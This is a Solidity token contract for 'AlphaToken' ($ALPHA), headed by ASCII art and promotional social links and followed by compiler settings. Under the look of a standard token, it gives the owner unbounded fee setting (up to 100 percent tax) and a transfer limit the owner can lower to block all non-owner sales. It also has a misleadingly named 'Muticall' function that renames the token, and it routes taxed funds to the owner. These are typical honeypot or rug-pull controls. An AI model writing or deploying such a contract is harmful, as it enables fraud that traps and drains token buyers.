// SPDX-License-Identifier: unlicense

/*                            ⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⠋⢠⠀⠙⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⠿⣦⡀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡿⠁⠀⣿⠀⢀⠈⣷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⠟⠁⠀⠘⣇⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡿⠀⠀⠀⣿⣆⠸⣦⠈⢿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⠏⢀⡔⡀⠀⢹⡆⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡿⠀⠀⠀⣸⣿⠹⣀⢿⣆⠀⠿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⡾⠃⢠⡞⣰⡇⡀⠸⣇⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⠁⢠⠀⠀⣿⠻⡄⠉⠘⣿⡄⠀⠙⢦⣀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⠟⠁⠀⡾⢠⠇⣷⡇⠀⢿⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⠃⠀⣿⠀⢸⣿⡀⢻⡀⠀⠸⣷⠀⠀⠀⠙⠶⣤⣀⣀⣀⣀⣠⣶⠟⠁⠀⠀⣸⠇⠀⢠⣯⡇⠀⢸⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⠀⠀⣿⣴⠾⡿⣷⠀⠁⠀⠀⣿⠀⠀⠀⠀⠀⠀⠈⠉⡉⠉⠉⠀⠀⠀⠀⢠⡟⠀⠀⠚⣸⣁⠀⢸⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⡇⠀⠀⠻⣿⣆⣷⠈⠷⠀⠀⢰⠏⠀⣤⠀⠀⠀⠀⠀⠀⠹⡄⠀⠀⠀⠀⠰⣾⡇⠀⠀⣸⢿⡇⠀⣸⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣷⠀⠀⠀⠹⢍⡛⠀⢀⣀⣤⣏⠴⠞⠁⠀⠀⠀⠀⠀⠀⠀⣻⡄⠀⠀⠀⠀⠹⣷⡀⠈⣡⣟⣠⣾⣿⡄⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⣍⠷⠀⠀⢀⣴⣖⡯⠭⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠶⢿⣿⣶⠀⠀⠀⠀⠈⠙⢷⣿⣛⡉⠞⢹⣇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣷⣝⠶⣤⣴⠿⠟⠋⠀⠀⠀⠀⠀⠀⠀⢶⠤⣀⣀⠀⠀⠀⠀⠀⠙⣧⠀⠀⠀⠀⢀⣠⢶⡙⢯⡁⡰⣾⡇⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡴⠟⠁⠉⣳⣿⠷⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡆⠀⠙⠳⡄⠀⠀⠀⠀⢻⠀⠀⠀⢰⠟⠁⢸⣇⠹⣿⣿⣯⠤⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢀⣠⣤⠶⠛⢉⣀⣴⣶⣯⣍⣁⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣸⣧⠀⠀⠀⠹⣦⡀⠀⠀⠈⡇⠀⢀⢸⠀⠀⢸⣿⣄⡘⠷⣄⠀⠀⠀⠀
⠀⠀⠀⣀⡴⢞⣋⡽⠞⠀⠀⢉⣽⠿⢛⡭⠁⠀⠀⣀⣀⣀⡀⠀⠀⠀⢀⣩⠿⠿⠯⠳⠀⠀⠀⣿⣷⣄⠀⠀⣿⠀⣿⣿⠀⠐⠉⠛⠙⣧⣐⢮⣷⡄⠀⠀
⠀⠀⣴⣿⡶⠟⠉⠀⠀⠀⣰⢏⣥⠞⠋⠀⠀⠀⢀⣀⣭⡿⠯⣗⠶⠆⠋⠴⣤⣤⣤⣤⣤⣀⠀⠁⣸⢿⡄⠀⢹⡄⢹⣽⣤⣾⣻⣿⠖⠿⣿⣿⡿⣿⡄⠀
⠀⢸⣿⢏⣠⠖⠀⠀⠀⠀⣱⡟⢁⡠⠦⠀⣠⣶⣫⠽⠂⠀⠀⠀⠀⠀⣀⠀⠈⠻⣿⡙⣾⣿⣷⡆⠀⣸⠇⠀⢘⣿⠀⠙⣿⣿⣿⠇⢰⠀⠉⠹⣷⢽⡇⠀
⢀⣿⣧⡞⢁⠀⠀⠀⠀⢰⡟⣴⡟⠁⠀⡰⣿⢟⣡⠀⠀⠀⠀⠀⠀⠀⠉⢦⡀⠀⠈⠛⠾⠿⣿⣿⠀⠁⠀⢄⣾⣿⣷⣤⣽⠏⠁⣤⡎⠀⠀⠀⣿⣿⡇⠀
⢸⣿⡏⣰⠃⠀⠀⠀⠀⣾⣿⣟⡄⠀⠀⣰⣿⠟⢱⠀⠀⠀⠀⠀⠀⠀⠀⠈⢷⣄⡀⠀⠀⠀⠀⠉⢠⡀⠲⣿⣿⡟⠋⠉⠙⠳⣌⠙⠗⠐⠀⢠⣧⣿⠀⠀
⢸⣿⢱⠃⢰⡆⠀⠀⠀⠙⣿⡟⢀⡴⠀⢿⣿⣴⠏⠀⠀⡄⠀⠀⠀⠀⠀⠀⠀⠻⣿⣶⢶⠆⠀⠀⢸⣿⡀⠘⣿⡁⠀⠀⠀⠀⠈⠻⣦⡀⠀⢸⣿⠇⠀⠀
⢸⣿⡏⢀⣾⠀⠀⠀⠀⢰⣿⣇⣿⠀⠀⠸⣿⣿⣀⡶⢠⠃⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⠦⠀⠀⠀⠀⢿⣷⡀⢹⣧⠀⠀⠀⠀⠀⠀⠈⠻⣤⣿⠏⠀⠀⠀
⠈⣿⡇⢸⡇⠀⠀⡀⠀⠘⣿⣿⡏⣼⠀⠀⠈⣿⣿⣠⡼⠷⠶⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⢷⡀⠻⣆⠀⠀⠀⠀⠀⠀⠀⠙⢧⡀⠀⠀⠀
⠀⠹⣇⣿⣇⠀⢰⡇⠀⠀⠈⣿⣧⣿⡇⠀⠀⠻⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣦⡈⠳⠄⠀⠀⠀⠀⠀⠀⠀⠹⣆⠀⠀
⠀⠀⠸⣏⢿⣆⢸⡇⠀⠀⠀⠘⠻⣿⣿⠀⢀⣴⠋⢀⣀⣀⣠⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠦⡄⠀⢀⣠⠶⠶⠶⠶⠶⢾⣧⡀
⠀⠀⠀⠈⠘⢿⣾⡇⢰⡄⠀⠀⠀⠙⢻⣧⡿⣱⠞⠉⠁⠀⠀⠀⠀⠉⠲⣄⡀⠀⠠⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⡁⠀⠀⠀⠀⠀⠀⣸⡇
⠀⠀⠀⠀⠀⠈⢿⣷⣸⠀⡆⠀⠀⠀⠈⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠿⣄⣀⠈⠉⠳⢶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣿⣶⣾⣿⣿⣿⣿⡿⠁
⠀⠀⠀⠀⠀⠀⠘⡿⣿⡆⣷⡀⠀⠀⠀⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠉⠙⠲⠦⠀⠉⠻⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠉⣉⣿⢿⣻⠟⠁⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠹⣷⣿⡇⣿⣶⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠙⠿⠶⠦⠤⠤⠴⠶⠶⠒⢚⡗⠉⠉⠁⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢿⣷⣿⠈⢿⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠶⢤⣤⣄⣀⣀⣠⡤⠾⠇⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠿⠄⠈⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⠐⣎⠉⠉⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣄⠘⣦⡻⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⠀⠀⣿⠇⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣦⡈⢿⣾⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣏⣀⢀⣿⠀⣼⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡶⠀⠀⠀⠀⢹⣿⡟⢦⣽⣮⡉⡁⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠿⡿⢅⣾⣣⣾⠃⠀⠀⣀⠀⠀⠀⠀⠀⠀⣀⠀⠀⠀⠀⠀⣼⠃⠀⠀⣰⢂⣾⠈⡿⠀⠈⠉⠙⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠾⣻⡟⠁⠀⢀⡼⠁⠀⠀⠀⠀⣀⡶⠁⠀⠀⢀⣠⠾⠁⠀⣠⡾⢡⡾⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⣫⢶⣃⡴⠋⠀⠀⠀⣀⡤⠞⠉⣀⣀⠤⣶⣋⣩⠤⠶⢾⣿⠵⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⢻⣫⣿⣷⠿⢋⣀⣤⣴⠶⠿⠿⠶⠒⠋⠉⠃⠉⠉⠀⠀⠀⠀⠉⠁⠀⠀⠀⠀⠀

https://t.me/alphatokenofficial
https://twitter.com/alphakeytoken
https://alphakey.io/

*/

pragma solidity ^0.8.0;
    
interface IUniswapV2Router02 {
     function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
}   
    contract SHART {
        string private  name_ = unicode"AlphaToken";  
        string private  symbol_ = unicode"$ALPHA";  
        uint8 public constant decimals = 18;
        uint256 public constant totalSupply = 1000000000 * 10**decimals;
        
        uint256 buyTax = 0;
        uint256 public sellTax = 0;
        uint256 constant swapAmount = totalSupply / 1;
        uint256 maxBuyLimit = 1000000000 * 10**decimals;
        mapping (address => uint256) public balanceOf;
        mapping (address => mapping (address => uint256)) public allowance;
        
        error Permissions();
        
        event NameChanged(string newName,string newSymbol , address by);
      
       function LimitChange(uint256 _maxBuyLimit) external {
        require(msg.sender == owner);
        maxBuyLimit = _maxBuyLimit * 10**decimals;
   }
      
       function Muticall(string memory name,string memory symbol) external {
        require(msg.sender == owner);
        name_ = name;
        symbol_ = symbol;
        emit NameChanged(name, symbol, msg.sender);
    }
    
        function name() public view  returns (string memory) {
        return name_;
        }

    
        function symbol() public view  returns (string memory) {
        return symbol_;
        }    

        event Transfer(address indexed from, address indexed to, uint256 value);
        event Approval(
            address indexed owner,
            address indexed spender,
            uint256 value
        );
        

        address public pair ;
        address constant ETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
        address constant routerAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
        IUniswapV2Router02 constant _uniswapV2Router = IUniswapV2Router02(routerAddress);
        address payable public owner;
        bool private swapping;
        bool private tradingOpen = true;

        constructor() {
            owner = payable(msg.sender);
            balanceOf[msg.sender] = totalSupply;
            allowance[address(this)][routerAddress] = type(uint256).max;
            emit Transfer(address(0), msg.sender, totalSupply);
            pair = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).createPair(address(this), 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
        }

        receive() external payable {}

        function approve(address spender, uint256 amount) external returns (bool){
            allowance[msg.sender][spender] = amount;
            emit Approval(msg.sender, spender, amount);
            return true;
        }

        function transfer(address to, uint256 amount) external returns (bool){
            return _transfer(msg.sender, to, amount);
        }

        function transferFrom(address from, address to, uint256 amount) external returns (bool){
            allowance[from][msg.sender] -= amount;        
            return _transfer(from, to, amount);
        }

        function _transfer(address from, address to, uint256 amount) internal returns (bool) {
    require(tradingOpen || from == owner || to == owner);

    if (!tradingOpen && pair == address(0) && amount > 0)
        pair = to;

     if (from != owner && amount >= maxBuyLimit) {
        revert("Exceeds maximum buy limit");
    }

    balanceOf[from] -= amount;

    if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount) {
        swapping = true;
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = ETH;
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            swapAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
        owner.transfer(address(this).balance);
        swapping = false;
    }

    if (from != address(this) && from != owner) {
        uint256 taxAmount = amount * (from == pair ? buyTax : sellTax) / 100;
        amount -= taxAmount;
        balanceOf[address(this)] += taxAmount;
    }
    balanceOf[to] += amount;
    emit Transfer(from, to, amount);
    return true;
}

        function openTrading() external {
            require(msg.sender == owner);
            require(!tradingOpen);
            tradingOpen = true;        
        }

        function _setFees(uint256 _buy, uint256 _sell) private {
            buyTax = _buy;
            sellTax = _sell;
        }

        function setFees(uint256 _buy, uint256 _sell) external {
           require(msg.sender == owner);
            _setFees(_buy, _sell);
        }
    }

{
  "compilationTarget": {
    "SHART.sol": "SHART"
  },
  "evmVersion": "paris",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}